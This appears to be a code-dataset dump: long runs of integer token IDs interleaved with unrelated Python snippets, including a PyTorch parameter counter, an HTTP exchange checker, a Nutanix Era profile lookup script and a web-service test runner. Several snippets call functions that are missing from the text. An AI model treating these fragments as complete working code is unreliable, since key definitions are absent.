220,
220,
220,
220,
3496,
62,
312,
220,
796,
220,
2340,
58,
312,
87,
60,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
34050,
62,
312,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
710,
12423,
62,
34050,
62,
312,
8,
201,
198,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
1353,
838,
389,
838,
1180,
7259,
11,
262,
655,
1011,
883,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
11,
9853,
796,
45941,
13,
34642,
7,
77,
1443,
58,
25,
940,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
2340,
8,
6624,
838,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
220,
796,
299,
1443,
58,
25,
940,
60,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
1351,
7,
354,
5233,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
611,
287,
1353,
642,
11,
612,
389,
642,
1180,
3496,
220,
2340,
11,
290,
612,
318,
530,
393,
517,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
3496,
62,
2340,
326,
635,
1656,
319,
1353,
838,
290,
319,
1353,
642,
11,
788,
340,
481,
307,
262,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
717,
4279,
11,
262,
1218,
4279,
318,
262,
530,
326,
16936,
7,
361,
262,
2180,
318,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
1303,
407,
262,
16936,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
2340,
11,
9853,
796,
45941,
13,
34642,
7,
77,
1443,
58,
25,
20,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
2340,
8,
6624,
642,
25,
220,
220,
1303,
635,
1724,
3509,
62,
9127,
6624,
352,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
649,
62,
2340,
11,
649,
62,
9127,
82,
796,
45941,
13,
34642,
7,
77,
1443,
58,
20,
25,
940,
4357,
1441,
62,
9127,
82,
796,
6407,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
4686,
287,
299,
1443,
58,
25,
20,
5974,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
493,
7,
312,
8,
287,
649,
62,
2340,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
312,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
354,
5233,
8,
6624,
657,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
796,
1351,
7,
77,
1443,
58,
25,
940,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
7147,
58,
15,
60,
14512,
299,
1443,
58,
15,
5974,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
77,
1443,
58,
15,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
201,
198,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
354,
5233,
8,
6624,
657,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
1351,
7,
77,
1443,
58,
25,
940,
12962,
201,
198,
201,
198,
220,
220,
220,
1303,
783,
751,
262,
5637,
12020,
284,
262,
4279,
1351,
11,
1061,
262,
5253,
4279,
201,
198,
220,
220,
220,
329,
10662,
3672,
11,
9803,
287,
10307,
44807,
23814,
33529,
201,
198,
220,
220,
220,
220,
220,
220,
220,
611,
18896,
7,
81,
2283,
8,
6624,
657,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3601,
10786,
81,
2283,
28,
15,
11537,
201,
198,
220,
220,
220,
220,
220,
220,
220,
474,
796,
657,
201,
198,
220,
220,
220,
220,
220,
220,
220,
981,
18896,
7,
81,
2283,
8,
1279,
838,
290,
474,
1279,
18896,
7,
710,
394,
32289,
58,
80,
3672,
60,
2599,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
12020,
58,
80,
3672,
7131,
73,
60,
407,
287,
9803,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
9803,
13,
33295,
7,
710,
394,
32289,
58,
80,
3672,
7131,
73,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
474,
47932,
16,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
981,
18896,
7,
81,
2283,
8,
1279,
838,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
9803,
13,
33295,
7,
15,
8,
201,
198,
201,
198,
220,
220,
220,
2352,
3007,
796,
900,
7,
710,
394,
32289,
13,
13083,
28955,
532,
900,
7,
28282,
44807,
13083,
28955,
201,
198,
220,
220,
220,
329,
10662,
3672,
287,
2352,
3007,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
7147,
796,
17635,
201,
198,
220,
220,
220,
220,
220,
220,
220,
474,
796,
657,
201,
198,
220,
220,
220,
220,
220,
220,
220,
981,
18896,
7,
354,
5233,
8,
1279,
838,
290,
474,
1279,
18896,
7,
710,
394,
32289,
58,
80,
3672,
60,
2599,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
12020,
58,
80,
3672,
7131,
73,
60,
407,
287,
7147,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
710,
394,
32289,
58,
80,
3672,
7131,
73,
12962,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
474,
15853,
16,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
201,
198,
220,
220,
220,
220,
220,
220,
220,
981,
18896,
7,
354,
5233,
8,
1279,
838,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7147,
13,
33295,
7,
15,
8,
201,
198,
201,
198,
220,
220,
220,
220,
220,
220,
220,
10307,
62,
58,
80,
3672,
60,
796,
7147,
201,
198,
201,
198,
220,
220,
220,
1441,
10307,
62,
201,
198,
201,
198,
201,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
201,
198,
220,
220,
220,
12020,
796,
2298,
293,
13,
2220,
7,
9654,
7,
81,
6,
34,
7479,
14490,
59,
1921,
2937,
59,
36881,
59,
260,
1930,
270,
1749,
59,
17047,
62,
1462,
62,
19796,
59,
710,
394,
32289,
13,
79,
41582,
3256,
705,
26145,
6,
4008,
201,
198,
220,
220,
220,
1188,
62,
7890,
796,
2298,
293,
13,
2220,
7,
9654,
7,
81,
6,
34,
7479,
14490,
59,
1921,
2937,
59,
36881,
59,
260,
1930,
270,
1749,
59,
17047,
62,
1462,
62,
19796,
59,
7513,
431,
62,
19503,
80,
59,
2100,
62,
7890,
13,
79,
41582,
3256,
705,
26145,
6,
4008,
201,
198,
201,
198,
220,
220,
220,
3601,
7,
11925,
7,
710,
394,
32289,
4008,
201,
198,
201,
198,
220,
220,
220,
329,
10662,
3672,
11,
299,
1443,
287,
12020,
13,
23814,
33529,
201,
198,
220,
220,
220,
220,
220,
220,
220,
12020,
58,
80,
3672,
60,
796,
685,
600,
7,
87,
8,
329,
2124,
287,
12020,
58,
80,
3672,
11907,
201,
198,
201,
198,
220,
220,
220,
44608,
796,
4331,
62,
34050,
7,
710,
394,
32289,
8,
201,
198,
201,
198,
220,
220,
220,
3601,
7,
11925,
7,
3808,
4008,
201,
198,
201,
198,
220,
220,
220,
285,
21062,
796,
17635,
201,
198,
220,
220,
220,
329,
1994,
287,
44608,
13,
13083,
33529,
201,
198,
220,
220,
220,
220,
220,
220,
220,
329,
256,
929,
287,
1188,
62,
7890,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
1994,
6624,
256,
929,
58,
17,
5974,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
493,
7,
83,
929,
58,
15,
12962,
407,
287,
1351,
7,
3808,
58,
2539,
60,
2599,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
285,
21062,
13,
33295,
7,
15,
8,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4686,
87,
796,
1351,
7,
3808,
58,
2539,
35944,
9630,
7,
600,
7,
83,
929,
58,
15,
60,
4008,
1343,
16,
201,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
285,
21062,
13,
33295,
7,
16,
14,
312,
87,
8,
201,
198,
220,
220,
220,
3601,
7,
37659,
13,
32604,
7,
76,
21062,
4008
] | 2.026529 | 3,091 |
def count_parameters(model, verbose=True):
"""Count number of parameters in PyTorch model,
References: https://discuss.pytorch.org/t/how-do-i-check-the-number-of-parameters-of-a-model/4325/7.
from utils.utils import count_parameters
count_parameters(model)
import sys
sys.exit(1)
"""
n_all = sum(p.numel() for p in model.parameters())
n_trainable = sum(p.numel() for p in model.parameters() if p.requires_grad)
if verbose:
print("Parameter Count: all {:,d}; trainable {:,d}".format(n_all, n_trainable))
return n_all, n_trainable
| [
4299,
954,
62,
17143,
7307,
7,
19849,
11,
15942,
577,
28,
17821,
2599,
198,
220,
220,
220,
37227,
12332,
1271,
286,
10007,
287,
9485,
15884,
354,
2746,
11,
198,
220,
220,
220,
31458,
25,
3740,
1378,
15410,
1046,
13,
9078,
13165,
354,
13,
2398,
14,
83,
14,
4919,
12,
4598,
12,
72,
12,
9122,
12,
1169,
12,
17618,
12,
1659,
12,
17143,
7307,
12,
1659,
12,
64,
12,
19849,
14,
3559,
1495,
14,
22,
13,
628,
220,
220,
220,
422,
3384,
4487,
13,
26791,
1330,
954,
62,
17143,
7307,
198,
220,
220,
220,
954,
62,
17143,
7307,
7,
19849,
8,
198,
220,
220,
220,
1330,
25064,
198,
220,
220,
220,
25064,
13,
37023,
7,
16,
8,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
299,
62,
439,
796,
2160,
7,
79,
13,
22510,
417,
3419,
329,
279,
287,
2746,
13,
17143,
7307,
28955,
198,
220,
220,
220,
299,
62,
27432,
540,
796,
2160,
7,
79,
13,
22510,
417,
3419,
329,
279,
287,
2746,
13,
17143,
7307,
3419,
611,
279,
13,
47911,
62,
9744,
8,
198,
220,
220,
220,
611,
15942,
577,
25,
198,
220,
220,
220,
220,
220,
220,
220,
3601,
7203,
36301,
2764,
25,
477,
1391,
45299,
67,
19629,
4512,
540,
1391,
45299,
67,
92,
1911,
18982,
7,
77,
62,
439,
11,
299,
62,
27432,
540,
4008,
198,
220,
220,
220,
1441,
299,
62,
439,
11,
299,
62,
27432,
540,
628
] | 2.502146 | 233 |
# -*- coding: utf-8; -*-
from httpolice import request, response
from httpolice.blackboard import Blackboard
from httpolice.known import st
def complaint_box(*args, **kwargs):
"""Create an empty exchange that only carries a single notice.
This is used (for example, in :mod:`httpolice.framing1`)
to report notices that do not correspond to any particular message.
"""
box = Exchange(None, [])
box.complain(*args, **kwargs)
return box
def check_exchange(exch):
"""Run all checks on the exchange `exch`, modifying it in place."""
expect_100 = False
if exch.request:
request.check_request(exch.request)
expect_100 = exch.request.headers.expect == u'100-continue'
response.check_responses(exch.responses)
for resp in exch.responses:
if resp.status == st.continue_:
expect_100 = False
if expect_100 and resp.status == st.switching_protocols:
resp.complain(1305)
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
26,
532,
9,
12,
198,
198,
6738,
2638,
349,
501,
1330,
2581,
11,
2882,
198,
6738,
2638,
349,
501,
13,
13424,
3526,
1330,
2619,
3526,
198,
6738,
2638,
349,
501,
13,
4002,
1330,
336,
628,
198,
198,
4299,
8224,
62,
3524,
46491,
22046,
11,
12429,
46265,
22046,
2599,
198,
220,
220,
220,
37227,
16447,
281,
6565,
5163,
326,
691,
10732,
257,
2060,
4003,
13,
628,
220,
220,
220,
770,
318,
973,
357,
1640,
1672,
11,
287,
1058,
4666,
25,
63,
4023,
349,
501,
13,
19298,
278,
16,
63,
8,
198,
220,
220,
220,
284,
989,
19748,
326,
466,
407,
6053,
284,
597,
1948,
3275,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
3091,
796,
12516,
7,
14202,
11,
685,
12962,
198,
220,
220,
220,
3091,
13,
23855,
391,
46491,
22046,
11,
12429,
46265,
22046,
8,
198,
220,
220,
220,
1441,
3091,
628,
198,
4299,
2198,
62,
1069,
3803,
7,
1069,
354,
2599,
198,
220,
220,
220,
37227,
10987,
477,
8794,
319,
262,
5163,
4600,
1069,
354,
47671,
30620,
340,
287,
1295,
526,
15931,
198,
220,
220,
220,
1607,
62,
3064,
796,
10352,
628,
220,
220,
220,
611,
9933,
13,
25927,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2581,
13,
9122,
62,
25927,
7,
1069,
354,
13,
25927,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1607,
62,
3064,
796,
9933,
13,
25927,
13,
50145,
13,
1069,
806,
6624,
334,
6,
3064,
12,
43043,
6,
628,
220,
220,
220,
2882,
13,
9122,
62,
16733,
274,
7,
1069,
354,
13,
16733,
274,
8,
628,
220,
220,
220,
329,
1217,
287,
9933,
13,
16733,
274,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
1217,
13,
13376,
6624,
336,
13,
43043,
62,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1607,
62,
3064,
796,
10352,
198,
220,
220,
220,
220,
220,
220,
220,
611,
1607,
62,
3064,
290,
1217,
13,
13376,
6624,
336,
13,
2032,
19811,
62,
11235,
4668,
82,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1217,
13,
23855,
391,
7,
12952,
20,
8,
198
] | 2.697222 | 360 |
import urllib
import cv2
import numpy as np
import os
create_pos_n_neg() | [
11748,
2956,
297,
571,
198,
11748,
269,
85,
17,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
28686,
628,
198,
17953,
62,
1930,
62,
77,
62,
12480,
3419
] | 2.642857 | 28 |
# Set creds and headers
era_user = '@@{era_creds.username}@@'
era_pass = '@@{era_creds.secret}@@'
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
# Get Software Profile ID
url = "https://@@{era_ip}@@:8443/era/v0.8/profiles?type=Software&name=@@{software_profile}@@"
resp = urlreq(url, verb='GET', auth='BASIC', user=era_user, passwd=era_pass, headers=headers)
if resp.ok:
print "SOFTWARE_PROF_ID={0}".format(json.loads(resp.content)['id'])
else:
print "Get Software Profile ID request failed", json.dumps(json.loads(resp.content), indent=4)
exit(1)
# Get Compute Profile ID
url = "https://@@{era_ip}@@:8443/era/v0.8/profiles?type=Compute&name=@@{compute_profile}@@"
resp = urlreq(url, verb='GET', auth='BASIC', user=era_user, passwd=era_pass, headers=headers)
if resp.ok:
print "COMPUTE_PROF_ID={0}".format(json.loads(resp.content)['id'])
else:
print "Get Compute Profile ID request failed", json.dumps(json.loads(resp.content), indent=4)
exit(1)
# Get Network Profile ID
url = "https://@@{era_ip}@@:8443/era/v0.8/profiles?type=Network&name=@@{network_profile}@@"
resp = urlreq(url, verb='GET', auth='BASIC', user=era_user, passwd=era_pass, headers=headers)
if resp.ok:
print "NETWORK_PROF_ID={0}".format(json.loads(resp.content)['id'])
else:
print "Get Network Profile ID request failed", json.dumps(json.loads(resp.content), indent=4)
exit(1)
# Get DB Parameter ID
url = "https://@@{era_ip}@@:8443/era/v0.8/profiles?type=Database_Parameter&name=@@{database_parameter}@@"
resp = urlreq(url, verb='GET', auth='BASIC', user=era_user, passwd=era_pass, headers=headers)
if resp.ok:
print "DB_PARAM_ID={0}".format(json.loads(resp.content)['id'])
else:
print "Get DB Parameter ID request failed", json.dumps(json.loads(resp.content), indent=4)
exit(1) | [
2,
5345,
2600,
82,
290,
24697,
198,
8607,
62,
7220,
796,
705,
12404,
90,
8607,
62,
66,
445,
82,
13,
29460,
92,
12404,
6,
198,
8607,
62,
6603,
796,
705,
12404,
90,
8607,
62,
66,
445,
82,
13,
21078,
92,
12404,
6,
198,
50145,
796,
1391,
6,
19746,
12,
6030,
10354,
705,
31438,
14,
17752,
3256,
705,
38855,
10354,
705,
31438,
14,
17752,
6,
92,
198,
198,
2,
3497,
10442,
13118,
4522,
198,
6371,
220,
220,
220,
220,
796,
366,
5450,
1378,
12404,
90,
8607,
62,
541,
92,
12404,
25,
23,
34938,
14,
8607,
14,
85,
15,
13,
23,
14,
5577,
2915,
30,
4906,
28,
25423,
5,
3672,
28,
12404,
90,
43776,
62,
13317,
92,
12404,
1,
198,
4363,
796,
19016,
42180,
7,
6371,
11,
15942,
11639,
18851,
3256,
6284,
11639,
33,
1921,
2149,
3256,
2836,
28,
8607,
62,
7220,
11,
1208,
16993,
28,
8607,
62,
6603,
11,
24697,
28,
50145,
8,
198,
361,
1217,
13,
482,
25,
198,
220,
3601,
366,
15821,
37485,
62,
4805,
19238,
62,
2389,
34758,
15,
92,
1911,
18982,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
8,
17816,
312,
6,
12962,
198,
17772,
25,
198,
220,
3601,
366,
3855,
10442,
13118,
4522,
2581,
4054,
1600,
33918,
13,
67,
8142,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
828,
33793,
28,
19,
8,
198,
220,
8420,
7,
16,
8,
198,
198,
2,
3497,
3082,
1133,
13118,
4522,
198,
6371,
220,
220,
220,
220,
796,
366,
5450,
1378,
12404,
90,
8607,
62,
541,
92,
12404,
25,
23,
34938,
14,
8607,
14,
85,
15,
13,
23,
14,
5577,
2915,
30,
4906,
28,
7293,
1133,
5,
3672,
28,
12404,
90,
5589,
1133,
62,
13317,
92,
12404,
1,
198,
4363,
796,
19016,
42180,
7,
6371,
11,
15942,
11639,
18851,
3256,
6284,
11639,
33,
1921,
2149,
3256,
2836,
28,
8607,
62,
7220,
11,
1208,
16993,
28,
8607,
62,
6603,
11,
24697,
28,
50145,
8,
198,
361,
1217,
13,
482,
25,
198,
220,
3601,
366,
9858,
30076,
36,
62,
4805,
19238,
62,
2389,
34758,
15,
92,
1911,
18982,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
8,
17816,
312,
6,
12962,
198,
17772,
25,
198,
220,
3601,
366,
3855,
3082,
1133,
13118,
4522,
2581,
4054,
1600,
33918,
13,
67,
8142,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
828,
33793,
28,
19,
8,
198,
220,
8420,
7,
16,
8,
198,
198,
2,
3497,
7311,
13118,
4522,
198,
6371,
220,
220,
220,
220,
796,
366,
5450,
1378,
12404,
90,
8607,
62,
541,
92,
12404,
25,
23,
34938,
14,
8607,
14,
85,
15,
13,
23,
14,
5577,
2915,
30,
4906,
28,
26245,
5,
3672,
28,
12404,
90,
27349,
62,
13317,
92,
12404,
1,
198,
4363,
796,
19016,
42180,
7,
6371,
11,
15942,
11639,
18851,
3256,
6284,
11639,
33,
1921,
2149,
3256,
2836,
28,
8607,
62,
7220,
11,
1208,
16993,
28,
8607,
62,
6603,
11,
24697,
28,
50145,
8,
198,
361,
1217,
13,
482,
25,
198,
220,
3601,
366,
12884,
33249,
62,
4805,
19238,
62,
2389,
34758,
15,
92,
1911,
18982,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
8,
17816,
312,
6,
12962,
198,
17772,
25,
198,
220,
3601,
366,
3855,
7311,
13118,
4522,
2581,
4054,
1600,
33918,
13,
67,
8142,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
828,
33793,
28,
19,
8,
198,
220,
8420,
7,
16,
8,
198,
198,
2,
3497,
20137,
25139,
2357,
4522,
198,
6371,
220,
220,
220,
220,
796,
366,
5450,
1378,
12404,
90,
8607,
62,
541,
92,
12404,
25,
23,
34938,
14,
8607,
14,
85,
15,
13,
23,
14,
5577,
2915,
30,
4906,
28,
38105,
62,
36301,
5,
3672,
28,
12404,
90,
48806,
62,
17143,
2357,
92,
12404,
1,
198,
4363,
796,
19016,
42180,
7,
6371,
11,
15942,
11639,
18851,
3256,
6284,
11639,
33,
1921,
2149,
3256,
2836,
28,
8607,
62,
7220,
11,
1208,
16993,
28,
8607,
62,
6603,
11,
24697,
28,
50145,
8,
198,
361,
1217,
13,
482,
25,
198,
220,
3601,
366,
11012,
62,
27082,
2390,
62,
2389,
34758,
15,
92,
1911,
18982,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
8,
17816,
312,
6,
12962,
198,
17772,
25,
198,
220,
3601,
366,
3855,
20137,
25139,
2357,
4522,
2581,
4054,
1600,
33918,
13,
67,
8142,
7,
17752,
13,
46030,
7,
4363,
13,
11299,
828,
33793,
28,
19,
8,
198,
220,
8420,
7,
16,
8
] | 2.561972 | 710 |
## Shorty
## Copyright 2009 Joshua Roesslein
## See LICENSE
## @url short.to
| [
2235,
10073,
88,
198,
2235,
15069,
3717,
20700,
5564,
408,
33663,
198,
2235,
4091,
38559,
24290,
198,
198,
2235,
2488,
6371,
1790,
13,
1462,
628
] | 3.16 | 25 |
#!/usr/bin/env python
import subprocess
import requests
import json
import time
import logging
try:
from Queue import Queue
except:
from queue import Queue
from threading import Thread, RLock
_LOG = logging.getLogger(__name__)
_LOG.setLevel(logging.DEBUG)
_lh = logging.StreamHandler()
_lh.setFormatter(logging.Formatter("[%(asctime)s] %(filename)s (%(lineno)3d): %(levelname) 8s: %(message)s"))
_LOG.addHandler(_lh)
NUM_TESTS = 0
FAILED_TESTS = []
FRAC_FLOAT_DIFF_TOL = 0.001
#########################################################################################
# The following code for execution in a non-blocking thread is from pyraphyletic. If
# we moved it to peyotl, we could import it from there (at the cost of making)
# otcetera depend on peyot.
class JobQueue(Queue):
"""Thread-safe Queue that logs the addition of a job to debug"""
def put(self, item, block=None, timeout=None):
"""Logs `item` at the debug level then calls base-class put"""
_LOG.debug("%s queued" % str(item))
Queue.put(self, item, block=block, timeout=timeout)
_jobq = JobQueue()
def worker():
"""Infinite loop of getting jobs off of _jobq and performing them."""
while True:
job = _jobq.get()
_LOG.debug('"{}" started"'.format(job))
try:
job.start()
except:
_LOG.exception("Worker dying.")
else:
try:
job.get_results()
except:
_LOG.exception("Worker exception. Error in job.get_results")
_LOG.debug('"{}" completed'.format(job))
_jobq.task_done()
_WORKER_THREADS = []
def start_worker(num_workers):
"""Spawns worker threads such that at least `num_workers` threads will be
launched for processing jobs in the jobq.
The only way that you can get more than `num_workers` threads is if you
have previously called the function with a number > `num_workers`.
(worker threads are never killed).
"""
assert num_workers > 0, "A positive number must be passed as the number of worker threads"
num_currently_running = len(_WORKER_THREADS)
for i in range(num_currently_running, num_workers):
_LOG.debug("Launching Worker thread #%d" % i)
t = Thread(target=worker)
_WORKER_THREADS.append(t)
t.setDaemon(True)
t.start()
#########################################################################################
_verb_name_to_req_method = {"GET": requests.get,
"PUT": requests.put,
"POST": requests.post,
"DELETE": requests.delete,
"HEAD": requests.head,
"OPTIONS": requests.options,
}
API_HEADERS = {'content-type' : 'application/json',
'accept' : 'application/json',
}
#########################################################################################
PIDFILE_NAME = "pidfile.txt"
RUNNING_SERVER = None
SERVER_PORT = 1985 # global, set by CLI. Needed by server launch and threads
SERVER_OUT_ERR_FN = "test-server-stdouterr.txt"
FAILED_TESTS, ERRORED_TESTS = [], []
if __name__ == '__main__':
import argparse
import codecs
import sys
import os
parser = argparse.ArgumentParser(description="Runs the otc-tol-ws and tests described in method.json files")
parser.add_argument('--taxonomy-dir', required=True, help='Directory that is the parent of the taxonomy files')
parser.add_argument('--synthesis-parent', required=True, help='Directory that is the parent of synthesis directories (if there is more than one subdirectory, then there will be multiple trees served - that option is not well tested).')
parser.add_argument('--exe-dir', required=True, help='Directory that holds the otc-tol-ws executable and which will be the working directory of the server.')
parser.add_argument('--tests-parent', required=True, help='Directory. Each subdir that holds a "method.json" file will be interpreted as a test.')
parser.add_argument('--test-name', default=None, required=False, help='Name of a subdir of the tests-parent dir. If provided only that test will be run; otherwise all of the tests will be run.')
parser.add_argument('--server-port', default=1985, type=int, required=False, help='Port number for the server')
parser.add_argument('--server-threads', default=4, type=int, required=False, help='Number of threads for the server')
parser.add_argument('--test-threads', default=8, type=int, required=False, help='Number of threads launched for running tests.')
parser.add_argument('--secs-to-recheck-pid-file', default=0, type=int, required=False, help='If the pid file exists, the process will enter a loop sleeping and rechecking for this number of seconds.')
args = parser.parse_args()
if args.server_threads < 1 or args.test_threads < 1:
sys.exit("The number of threads must be positive.")
taxonomy_dir = args.taxonomy_dir
if not os.path.isdir(taxonomy_dir):
sys.exit('Taxonomy directory "{}" does not exist.\n'.format(taxonomy_dir))
synth_par_path = args.synthesis_parent
if not os.path.isdir(synth_par_path):
sys.exit('Synthetic tree parent directory "{}" does not exist.\n'.format(synth_par_path))
exe_dir = args.exe_dir
if not os.path.isdir(exe_dir):
sys.exit('Executable directory "{}" does not exist.\n'.format(exe_dir))
test_par = args.tests_parent
if not os.path.isdir(test_par):
sys.exit('Tests parent directory "{}" does not exist.\n'.format(test_par))
if args.test_name is not None:
e_dir_list = [args.test_name]
else:
e_dir_list = get_test_dirs_under(test_par)
e_dir_list.sort()
SERVER_PORT = args.server_port
# Get test paths
to_run = []
for e_subdir_name in e_dir_list:
e_path = os.path.join(test_par, e_subdir_name)
if not os.path.isdir(e_path):
sys.stderr.write("Skipping test {} due to missing dir {} \n".format(e_subdir_name, e_path))
continue
mfile = os.path.join(e_path, "method.json")
if not os.path.isfile(mfile):
sys.stderr.write("Skipping test {} due to missing file {}\n".format(e_subdir_name, mfile))
continue
to_run.append(e_path)
if not to_run:
sys.exit("No test were found!")
# Check that there are no PIDfiles in the way
pidfile_path = os.path.join(exe_dir, PIDFILE_NAME)
if os.path.exists(pidfile_path):
recheck = 0
checks_per_sec = 3
while recheck < checks_per_sec*args.secs_to_recheck_pid_file:
recheck += 1
time.sleep(1.0/checks_per_sec)
if not os.path.exists(pidfile_path):
break
if os.path.exists(pidfile_path):
sys.exit("{} is in the way!\n".format(pidfile_path))
# try launching otc-tol-ws and running the tests against it.
for i in range(2):
if launch_server(exe_dir=exe_dir,
taxonomy_dir=taxonomy_dir,
synth_par=synth_par_path,
server_threads=args.server_threads):
try:
num_passed, nf, ne = run_tests(test_par, to_run, args.test_threads)
finally:
kill_server(exe_dir)
NUM_TESTS = nf + ne + num_passed
assert nf == len(FAILED_TESTS)
assert ne == len(ERRORED_TESTS)
sys.stderr.write('Passed {p:d}/{t:d} tests.'.format(p=num_passed, t=NUM_TESTS))
if FAILED_TESTS:
sys.stderr.write(' Failed:\n {}\n'.format('\n '.join(FAILED_TESTS)))
if ERRORED_TESTS:
sys.stderr.write(' Errors in:\n {}\n'.format('\n '.join(ERRORED_TESTS)))
if nf + ne > 0:
sys.exit(nf + ne)
sys.stderr.write('SUCCESS\n')
sys.exit(0)
else:
time.sleep(1) # relaunch (most likely cause is the port not being freed from previous test)
_LOG.error("Server launch failed: ")
with open(os.path.join(exe_dir, SERVER_OUT_ERR_FN), 'r') as seo:
sys.stderr.write(seo.read())
sys.exit(-1)
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
11748,
850,
14681,
198,
11748,
7007,
198,
11748,
33918,
198,
11748,
640,
198,
11748,
18931,
198,
28311,
25,
198,
220,
220,
220,
422,
4670,
518,
1330,
4670,
518,
198,
16341,
25,
198,
220,
220,
220,
422,
16834,
1330,
4670,
518,
198,
6738,
4704,
278,
1330,
14122,
11,
371,
25392,
198,
62,
25294,
796,
18931,
13,
1136,
11187,
1362,
7,
834,
3672,
834,
8,
198,
62,
25294,
13,
2617,
4971,
7,
6404,
2667,
13,
30531,
8,
198,
62,
75,
71,
796,
18931,
13,
12124,
25060,
3419,
198,
62,
75,
71,
13,
2617,
8479,
1436,
7,
6404,
2667,
13,
8479,
1436,
7203,
58,
4,
7,
292,
310,
524,
8,
82,
60,
4064,
7,
34345,
8,
82,
37633,
7,
2815,
23397,
8,
18,
67,
2599,
4064,
7,
5715,
3672,
8,
807,
82,
25,
4064,
7,
20500,
8,
82,
48774,
198,
62,
25294,
13,
2860,
25060,
28264,
75,
71,
8,
198,
198,
41359,
62,
51,
1546,
4694,
796,
657,
198,
7708,
4146,
1961,
62,
51,
1546,
